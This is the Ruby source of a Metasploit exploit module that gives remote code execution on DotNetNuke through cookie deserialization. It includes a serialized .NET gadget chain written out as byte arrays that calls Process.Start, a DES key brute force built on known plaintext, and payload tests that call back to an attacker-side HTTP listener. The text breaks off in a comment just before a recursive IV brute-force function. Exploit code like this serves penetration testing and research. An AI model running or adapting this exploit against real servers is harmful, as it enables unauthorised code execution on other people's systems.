##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'
require 'openssl'
require 'set'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  Rank = ExcellentRanking

  # =================================
  # Overidden setup method to allow
  # for delayed handler start
  # =================================
  def setup
    # Reset the session counts to zero.
    reset_session_counts

    return if !payload_instance
    return if !handler_enabled?

    # Configure the payload handler
    payload_instance.exploit_config = {
      'active_timeout' => active_timeout
    }

    # payload handler is normally set up and started here
    # but has been removed so we can start the handler when needed.
  end

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => "DotNetNuke Cookie Deserialization Remote Code Excecution",
      'Description'    => %q(
        This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
        Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
        The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
        The cookie is processed by the application whenever it attempts to load the current user's profile data.
        This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
        An attacker can leverage this vulnerability to execute arbitrary code on the system.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jon Park', 'Jon Seigel' ],
      'References'     =>
        [
          [ 'CVE', '2017-9822' ],
          [ 'CVE', '2018-15811'],
          [ 'CVE', '2018-15812'],
          [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
          [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
          [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
          [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
          [ 'URL', 'https://github.com/pwntester/ysoserial.net']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { 'auto' => true } ],
          [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
          [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
          [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Payload'        =>
        {

        },
      'Privileged'     => false,
      'DisclosureDate' => "Jul 20 2017",
      'DefaultOptions' => { 'WfsDelay' => 5 },
      'DefaultTarget'  => 0
    ))

    deregister_options('SRVHOST')

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
        OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
        OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
        Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
        OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
        (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
        OptString.new('KEY', [false, 'The key to use for encryption.', '']),
        OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
        OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
        DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
        OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
        Can also be the path to a file containing a list of verification codes.), ''])
      ]
    )


    initialize_instance_variables
  end

  def initialize_instance_variables
    # ==================
    # COMMON VARIABLES
    # ==================

    @target_idx = 0

    # Flag for whether or not to perform exploitation
    @dry_run = false

    # Flag for whether or not the target requires encryption
    @encrypted = false

    # Flag for whether or not to attempt to decrypt the provided verification token(s)
    @try_decrypt = false

    # ==================
    # PAYLOAD VARIABLES
    # ==================

    # ObjectStateFormatter serialized header
    @osf_header = [255, 1, 50]

    # ObjectStateFormatter serialized data before the command payload
    @osf_wrapper_start = [
      0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
      83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
      117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
      111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
      48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
      108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
      99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
      114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
      46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
      116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
      107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
      57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
      114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
      0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
      99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
      109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
      96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
      44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
      111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
      101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
      75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
      57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
      2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
      46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
      114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
      112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
      86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
      117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
      117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
      97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
      95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
      101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
      105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
      17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
    ]

    # ObjectStateFormatter serialized data to place after the command payload.
    @osf_wrapper_end = [
      6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
      109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
      105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
      68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
      109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
      46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
      122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
      101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
      109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
      98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
      109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
      98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
      0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
      101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
      116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
      97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
      97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
      116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
      108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
      101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
      101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
      121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
      114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
      114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
      0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
      91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
      109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
      110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
      101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
      75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
      57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
      32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
      67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
      32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
      55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
      121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
      115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
      109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
      48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
      97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
      110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
      93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
      101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
      117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
      80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
      55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
      73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
      61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
      110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
      121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
      52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
      105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
      115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
      0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
      105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
      114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
      114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
      121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
      105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
      114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
      110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
      1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
      93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
      121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
      115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
      83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
      99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
      83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
      10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
      114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
      46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
      32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
      83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
      109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
      16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
      46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
      111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
      101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
      121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
      52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
      0, 0, 9, 22, 0, 0, 0, 10, 11
    ]

    @cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/

    # ==================
    # v9.1.1+ VARIABLES
    # ==================


    @key_charset = "02468ABDF"
    @verification_codes = []

    @iv_regex = /[0-9A-F]{8}/

    # Known plaintext
    @kpt = ""

    # Encryption objects
    @decryptor = OpenSSL::Cipher.new('des')
    @decryptor.decrypt

    @encryptor = OpenSSL::Cipher.new('des')
    @encryptor.encrypt

    # final passphrase (key +iv) to use for payload (v9.1.1+)
    @passphrase = ""

    # ==================
    # v9.2.0+ VARIABLES
    # ==================

    # Session token needed for exploitation (v9.2.0+)
    @session_token = ""

    # ==================
    # v9.2.2+ VARIABLES
    # ==================

    # User ID format (v9.2.2+)
    # Number of characters of user ID available in plaintext
    # is equal to the length of a GUID (no spaces or dashes)
    # minus (blocksize - known plaintext length).
    @user_id_pt_length = 32 - (8 - @kpt.length)
    @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/

    # Plaintext found from decryption (v9.2.2+)
    @found_pt = ""

    @iv_charset = "0123456789abcdef"

    # Possible IVs used to encrypt verification codes (v9.2.2+)
    @possible_ivs = Set.new([])

    # Possible keys used to encrypt verification codes (v9.2.2+)
    @possible_keys = Set.new([])

    # passphrases (key + iv) values to use for payload encryption (v9.2.2+)
    @passphrases = []

    # char sets to use when generating possible base keys
    @unchanged = Set.new([65,70])
  end

  def decode_verification(code)
    # Decode verification code base don DNN format
    return String.new(
      Rex::Text.decode_base64(
        code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
      )
    )
  end

  # ==============
  # Main function
  # ==============
  def exploit

    return unless check == Exploit::CheckCode::Appears

    @encrypted = datastore['ENCRYPTED']
    verification_code = datastore['VERIFICATION_CODE']
    if File.file?(verification_code)
      File.readlines(verification_code).each do |code|
        @verification_codes.push(decode_verification(code))
      end
    else
      @verification_codes.push(decode_verification(verification_code))
    end

    @kpt = datastore['VERIFICATION_PLAIN']

    @session_token = datastore['SESSION_TOKEN']
    @dry_run = datastore['DryRun']
    key = datastore['KEY']
    iv = datastore['IV']

    if target['ReqEncrypt'] && @encrypted == false
      print_warning("Target requires encrypted payload. Exploit may not succeed.")
    end

    if @encrypted
      # Requires either supplied key and IV, or verification code and plaintext
      if (!key.blank? && !iv.blank?)
        @passphrase = key + iv
        # Key and IV were supplied, don't try and decrypt.
        @try_decrypt = false
      elsif (!@verification_codes.empty? && !@kpt.blank?)
        @try_decrypt = true
      else
        fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
      end
    end

    if target['ReqSession']
      if @session_token.blank?
        fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
      end
    end

    if @encrypted && @try_decrypt
      # Set IV for decryption as the known plaintext, manually
      # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
      # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
      # For v9.2.2+ it will find an initial base key faster than if padding were enabled.
      f8_plain = @kpt[0, 8]
      c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
      @decryptor.iv = String.new(c_iv.pack("C*"))
      @decryptor.padding = 0

      key = find_key(@verification_codes[0])
      if key.blank?
        return
      end

      if @target_idx == 4
        # target is v9.2.2+, requires base64 generated key and IV values.
        generate_base_keys(0, key.each_byte.to_a, "")
        vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")

        # re-enable padding here as it doesn't have the
        # same performance impact when trying to find possible IV values.
        @decryptor.padding = 1

        print_warning("Finding possible base IVs. This may take a few minutes...")
        start = Time.now
        find_ivs(@verification_codes, key)
        elapsed = Time.now - start
        vprint_status(
          format(
            "Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
            "verification codes in %<e_time>.2f seconds.",
            n_ivs: @possible_ivs.size,
            n_codes: @verification_codes.size,
            e_time: elapsed.to_s
          )
        )

        generate_payload_passphrases
        vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
      end

      if @passphrase.blank?
        # test all generated passphrases by
        # sending an exploit payload to the target
        # that will callback to an HTTP listener
        # with the index of the passphrase that worked.

        # set SRVHOST as LHOST value for HTTPServer mixin
        datastore['SRVHOST'] = datastore['LHOST']
        print_warning("Trying all possible KEY and IV combinations...")
        print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
        start_service
        vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")

        test_passphrases

        # If no working passphrase has been found,
        # wait to allow the the chance for the last one to callback.
        if @passphrase.empty? && !@dry_run
          sleep(wfs_delay)
        end
        if service
          stop_service
        end
        print "\r\n"
        if !@passphrase.empty?
          print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
        end
      end
    end
    send_exploit_payload
  end

  # =====================
  # For the check command
  # =====================
  def check
    if target.name == 'Automatic'
      select_target
    end

    @target_idx = Integer(datastore['TARGET'])

    if @target_idx == 0
      fail_with(Failure::NoTarget, 'No valid target found or specified.')
    end

    # Check if 404 page is custom or not.
    # Vulnerability requires custom 404 handling (enabled by default).
    uri = normalize_uri(target_uri.path)
    print_status("Checking for custom error page at: #{uri} ...")
    res = send_request_cgi(
      'uri' => uri
    )

    if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
      print_good("Custom error page detected.")
    else
      print_error("IIS Error Page detected.")
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end

  # ===========================
  # Auto-select target version
  # ===========================
  def select_target
    print_status("Trying to determine DNN Version...")
    # Check for copyright version in /Documentation/license.txt
    uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
    vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
    )
    year = -1
    if res && res.code == 200
      # License page found, get latest copyright year.
      matches = @cr_regex.match(res.body)
      if matches
        year = matches[0].to_i
      end
    else
      vprint_status("Checking version at #{uri} ...")
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(uri)
      )
      if res && res.code == 200
        # Check if copyright info is in page HTML.
        matches = @cr_regex.match(res.body)
        if matches
          year = matches[0].to_i
        end
      end
    end

    if year >= 2018
      print_warning(
        %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
      )
      datastore['TARGET'] = 3
    elsif year == 2017
      print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
      datastore['TARGET'] = 2
    elsif year < 2017 && year > 2008
      print_good("DNN Version Found: v5.1.0 - v9.0.1")
      datastore['TARGET'] = 1
    elsif year == 2008
      print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
      datastore['TARGET'] = 1
    else
      print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
    end
  end

  # ==============================
  # Known plaintext attack to
  # brute-force the encryption key
  # ==============================
  def find_key(cipher_text)
    print_status("Finding Key...")

    # Counter
    total_keys = @key_charset.length**8
    i = 1

    # Set start time
    start = Time.now

    # First char
    @key_charset.each_byte do |a|
      key = a.chr
      # 2
      @key_charset.each_byte do |b|
        key[1] = b.chr
        # 3
        @key_charset.each_byte do |c|
          key[2] = c.chr
          # 4
          @key_charset.each_byte do |d|
            key[3] = d.chr
            # 5
            @key_charset.each_byte do |e|
              key[4] = e.chr
              # 6
              @key_charset.each_byte do |f|
                key[5] = f.chr
                # 7
                @key_charset.each_byte do |g|
                  key[6] = g.chr
                  # 8
                  @key_charset.each_byte do |h|
                    key[7] = h.chr
                    if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
                      elapsed = Time.now - start
                      print_search_status(i, elapsed, total_keys)
                      print_line
                      if @target_idx == 4
                        print_good("Possible Base Key Value Found: " + key)
                      else
                        print_good("KEY Found: " + key)
                        print_good("IV Found: " + @passphrase[8..-1])
                      end
                      vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
                      vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
                      return String.new(key)
                    end
                    # Print timing info every 5 million attempts
                    if i % 5000000 == 0
                      print_search_status(i, Time.now - start, total_keys)
                    end
                    i += 1
                  end
                end
              end
            end
          end
        end
      end
    end
    elapsed = Time.now - start
    print_search_status(i, elapsed, total_keys)
    print_line
    print_error("Key not found")
    vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
    vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
    return nil
  end

  # ==================================
  # Attempt to decrypt a ciphertext
  # and obtain the IV at the same time
  # ==================================
  def decrypt_data_and_iv(cipher, cipher_text, key)
    cipher.key = key
    begin
      plaintext = cipher.update(cipher_text) + cipher.final
      if @target_idx == 4
        # Target is v9.2.2+
        user_id = plaintext[8, @user_id_pt_length]
        if @user_id_regex.match(user_id)
          return true
        end

        return false
      end

      # This should only execute if the version is 9.1.1 - 9.2.1
      iv = plaintext[0, 8]
      if !@iv_regex.match(iv)
        return false
      end

      # Build encryption passphrase as DNN does.
      @passphrase = key + iv

      # Encrypt the plaintext value using the discovered key and IV
      # and compare with the initial ciphertext
      if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
        @passphrases.push(String.new(key + iv))
        return true
      end
    rescue StandardError
      # Ignore decryption errors to allow execution to continue
      return false
    end
    return false
  end

  def print_search_status(num_tries, elapsed, max_tries)
    msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
    print("\r%bld%blu[*]%clr #{msg}")
  end

  # ===========================
  # Encrypt data using the same
  # pattern that DNN uses.
  # ===========================
  def encrypt_data(cipher, message, passphrase)
    cipher.key = passphrase[0, 8]
    cipher.iv = passphrase[8, 8]
    return cipher.update(message) + cipher.final
  end

  # ===============================================
  # Generate all possible base key values
  # used to create the final passphrase in v9.2.2+.
  # DES weakness allows multiple bytes to be
  # interpreted as the same value.
  # ===============================================
  def generate_base_keys(pos, from_key, new_key)
    if !@unchanged.include? from_key[pos]
      if from_key[pos] % 2 == 0
        new_key[pos] = (from_key[pos] + 1).chr
      else
        new_key[pos] = (from_key[pos] - 1).chr
      end

      if new_key.length == 8
        @possible_keys.add(String.new(new_key))

        # also add key with original value
        new_key[pos] = (from_key[pos]).chr
        @possible_keys.add(String.new(new_key))
      else
        generate_base_keys(pos + 1, from_key, String.new(new_key))

        # also generate keys with original value
        new_key[pos] = (from_key[pos]).chr
        generate_base_keys(pos + 1, from_key, String.new(new_key))
      end
    else
      new_key[pos] = (from_key[pos]).chr
      if new_key.length == 8
        @possible_keys.add(String.new(new_key))
      else
        generate_base_keys(pos + 1, from_key, String.new(new_key))
      end
    end
  end

  # ==============================================
  # Find all possible base IV values
  # used to create the final Encryption passphrase
  # ==============================================
  def find_ivs(cipher_texts, key)
    num_chars = 8 - @kpt.length
    f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/

    @decryptor.key = key
    found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
    # Find all possible IVs for the first ciphertext
    brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])

    # Reduce IV set by testing against other ciphertexts
    cipher_texts.drop(1).each do |cipher_text|
      @possible_ivs.each do |iv|
        @decryptor.iv = iv
        pt = @decryptor.update(cipher_text) + @decryptor.final
        if !f8regex.match(pt[0, 8])
          @possible_ivs.delete(iv)
        end
      end
    end
  end

  # ==========================================
  # A recursive function to find all
  # possible valid IV values using brute-force
  # ==========================================
